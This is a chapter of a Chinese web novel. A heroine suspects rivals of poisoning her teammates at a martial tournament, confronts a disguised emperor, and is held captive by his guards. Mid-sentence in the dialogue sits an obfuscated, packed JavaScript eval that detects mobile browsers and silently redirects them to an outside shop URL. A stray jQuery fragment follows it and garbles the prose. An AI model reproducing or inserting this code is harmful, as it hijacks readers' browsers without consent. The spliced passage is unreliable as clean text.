演武大会开始两天,顾晴等人一路都在输,除了刚开始的论剑山庄试炼,就没得过分,输就算了,他们的人还接二连三地中这奇怪的泣血毒。
先是秦蓁蓁再是顾挽风,毫无征兆,瞬间毒发。
顾挽风被送去救治,顾晴和秦蓁蓁守在她身边。从刚刚秦蓁蓁比赛的状态来看,如果不中毒,她必胜无疑,但偏偏在她快要赢下比赛的时候,毒发。巧合?
怎么看都不像是巧合。顾晴心中生疑,望向秦蓁蓁。
秦蓁蓁接收到顾晴投过来的视线,“刚刚在看比赛的时候我就已经有所怀疑了,但是你不在所以没来得及跟你说,我观察李一川的行为方式特点,与那天我在四季茶楼见到的那伙江湖客中的一人十分相像。”
江湖客?顾晴心中疑惑更甚,当时好像说的那伙行踪诡异的江湖客也是五个人来着?刚好是一个参赛队伍的人数,也是在遇见那群人之后秦蓁蓁才中毒的。齐和说过,泣血毒不会致命,就说明下毒之人并不想置人于死地。一般来说是只有在威胁到了自己的利益之后,才会对人下毒以除后患,绝不会留下活口。
他们却不一样,说明他们不敢真正下死手,他们有所忌惮!那又是在忌惮什么?忌惮演武大会的规则!今年新加的规定:不能置对手于死地,违者取消参赛资格。
这就证明了下毒者是演武大会的参赛成员。
先是对秦蓁蓁下手,说明他们知道秦蓁蓁也是演武大会的参赛成员,若是一直不解毒就会一直昏睡下去,如此一来他们不得不换上替补队员,主力换成替补,实力就会大大削弱。接着是顾挽风,在那关键时刻对顾挽风下毒,扭转比赛的局面,受益者是原国。
但这都是猜测,没有证据,就算顾晴自信自己的猜测都是正确的,却没有实际的证据拿去上诉。除非在他们身上找到泣血毒。
“他们是用什么方式下毒的?”顾晴问。
秦蓁蓁歪着脑袋回想,“我也不太清楚,只觉得中毒的那一瞬间全身发麻,我猜测是毒针,即便是在远距离也能进行精准的攻击。”
“比赛时我仔细观察过李一川的神情,她在最后知道自己敌不过之后就不再做反抗,表情惊惧,说明她是真的无计可施,在那种情况下,不可能还会下毒,所以应该是其他人下的毒,赛场上并无他人,也就是说,毒针这一说法是行得通的。这样,秦大姐,你检查一下顾挽风身上有没有什么类似于毒针扎过的痕迹,我去一个地方。”
秦蓁蓁点头,扶起昏睡的顾挽风,此前给秦蓁蓁解毒的草药还剩下一些,不过服用之后也不能立即见效,在顾挽风醒来之前,找凶手这一事只能靠他们自己来了。
傍晚,安昌大街东北角,四季茶楼。
齐和一如既往坐在这儿喝茶听曲儿,注视着人来人往的街道。
顾晴一脸严肃,不请自来。
“洛姑娘,好久不见,在下还以为你不会来了。”齐和刚想打趣,却见顾晴面色苍白神情肃穆,一看就是来谈正事的,“洛姑娘此番又是遇到什么麻烦了?”
“我想要知道关于泣血毒的一切,包括哪里生产、哪里可以找到这种毒。”
“怎的又是泣血毒?洛姑娘一姑娘家家的,还是安心看比赛,别去接触这么危险的东西。”齐和又像往常一样打马虎眼。
但顾晴根本不吃这一套,她语速极快、态度狠厉,兹事体大,她是没必要再思前想后那么多了,“齐公子最好还是告诉我比较好,如果你不想让墨国被牵连,不想让墨国蒙羞的话。”
齐和立刻冷下脸来,冷脸笑脸,完全是两个人,但是他没有立刻做出表态,反倒是冷冷地盯着顾晴,似要把她看出个窟窿来。
顾晴冷笑,“别这么看着我,我们两个半斤八两,我不相信你不认识我,皇帝陛下。”
这回换齐和笑了,“姑娘,这种玩笑可不能乱开。”
“我开没开玩笑陛下自己心里清楚,但这个忙你必须得帮,只要你还是墨国的皇帝。”
“为什么?”
“因为演武大会的承办方是墨国,若是出了问题,墨国定不能全身而退。”
祁川指尖规律地叩着桌面,“哦?那你说说看。”
“今日的比赛,不公平。”
“你是说李一川对顾挽风的那场?”
顾晴点头,“这场应该是顾挽风获胜才对,在比赛的最后原国的人使用了毒针,我验过了,是泣血毒,我妹妹至今还睡着没醒来。”
“嗯,接着说。”祁川慢条斯理地喝着茶。
“这场比赛不公平,我希望你能公正看待,既是发生在墨国承办的演武大会上,我希望陛下能给我们一个交代。”
祁川放下茶杯,眯着眼盯着顾晴的一双眸子看,“交代?你需要我给出什么交代?是重比一场?还是把分数归还给你们?”
顾晴亦冷脸,她从祁川的语气中察觉出了一丝阴阳怪气,“听陛下的口气,是打算对此事放任不管咯?”
“若我管,会如何?若我不管,又当如何?”祁川扬着嘴角,向顾晴的方向倾去,一大股压迫感扑面而来。
“遇不公不允之事敢于站出来纠正乃是君子所为,这是你身为一国皇帝的分内之事;你不管也不要紧,在场的观众都看得清清楚楚,他们有自己的判断,当时的局面是怎么回事,本该获胜的人却突然间毫无预兆地失败了,想来谁的心里都会有疑问。”
“你想做什么?”
“人心是最复杂的,也是最容易被控制的,只要我稍加引导。”顾晴亦笑着,面无惧色,大胆地同祁川对视,“一个人再厉害,也会被流言蜚语击垮。”
“你是在威胁朕?”祁川突然间换了自称。
“不一样,威胁是你能给我好处,但你现在给不了我任何好处。”
“难道把那十分给你加上去,不算是好处?若朕没推算错,你们的队伍已经掉到了倒数的位置,若是加上那十分,局面就会变得不一样,人们对你们的微词也会减少。”
顾晴冷眼相对,恨得牙痒痒。
祁川接着道,“对顾二小姐你们来说,获胜是很重要的吧?殊天国的颜面,还有二小姐你的碧血丹心蛊?”
“你怎么知道碧血丹心蛊的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206344|150951||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
“你右手腕上的纹样又没有刻意遮住,是个人都看得出来那是什么东西。”祁川再抿一口茶,“既然二小姐那么想要演武大会的优胜,那朕便自作主张给你好了,毕竟身中碧血丹心蛊也不好受呢~但是作戏还是得做全套啊,这样,朕在之后的比赛都给你们安排一些弱鸡对战,以保证二小姐你们能绝对获胜~”
祁川一脸嘚瑟,顾晴咬牙切齿,“如果一个国家连领导者都坏了的话……”
“嗯?你说什么?”
“没什么。”顾晴起身,“看来我跟陛下还是话不投机啊,交道看来只能打到这里了,那就此告辞,祝愿陛下能坐稳这个位置。”
什么为了那十分?笑话?她是这么输不起的人吗?虽然这十分对她来说确实很重要!但她最看不惯的是原国的行事作风和阴险手段!平白地让她的队员中泣血毒,这就让她更看不顺眼。她想要的是公平公正而不是这虚无缥缈的十分!
顾晴起身,头也不回地就要走。
“站住!”祁川叫住她。
“还有什么事?”顾晴懒得回头见此人的脸。
“你是怎么知道我身份的?”
“哼,但凡有脑子的人都知道,没人能在我眼皮子底下撒谎!”顾晴怒气冲天,正想走,却被一众侍卫团团围住,指使之人自然是祁川。
此时的祁川还在慢条斯理地喝茶,“二小姐,别着急嘛,既然来了,我们不妨深入探讨一下,反正明天一天,都没有比赛。”
绑架?顾晴心中一惊,玩脱了,没想到有人比她还不要脸?可不能让他得逞!
顾晴环顾四周,她现在是在茶楼的二楼,于是一个飞扑,想直接从二楼跳下去,但她小瞧了祁川的能力,他迅速将顾晴反擒住叩在桌上,“二小姐,朕帮你找泣血毒的毒药,险些丧命纵横山,你这份恩情还没还呢就想分道扬镳?这可不公平。”
“哟?您还在意公平呢?不好意思啊,我这个人就是个白眼狼,人人都说我忘恩负义,我又不是君子,何必讲那些有的没的?您识人不清可要怪你自己啊!”顾晴扑腾了两下,但力量悬殊,始终被摁的死死的。
也不见祁川恼怒,他伸手在顾晴腰间摸了一圈,将所有能联络的东西,类似于信号弹之类的,全给搜罗出来,丢给了一旁的侍卫。
“变态!我告你性骚扰!”顾晴见人就咬,手脚都被绑住,唯一能用的武器只有牙了,但很可惜咬不到,祁川还恶趣味地故意逗她。
“二小姐脾气不要那么暴躁嘛,对身体不好,朕只是有些问题要请教二小姐罢了,届时自会把二小姐完好地还回来,毕竟后天你还有比赛呢。只不过在这段时间,朕不希望有任何人来打扰。”
顾晴累了,很识趣地停止挣扎保存体力,以能够一击制敌。她非常自觉地换了个束缚的姿势坐着,虽然打不过,但还是非常倔强地骂人,“混蛋!昏君!我诅咒你讨不到老婆!就算讨到老婆了老婆也会跟人跑了!还有——”
祁川瞪了她一眼,手中的剑出鞘一寸,顾晴见那冷冽的剑刃,立刻噤声,保命要紧,然后在心里接着骂。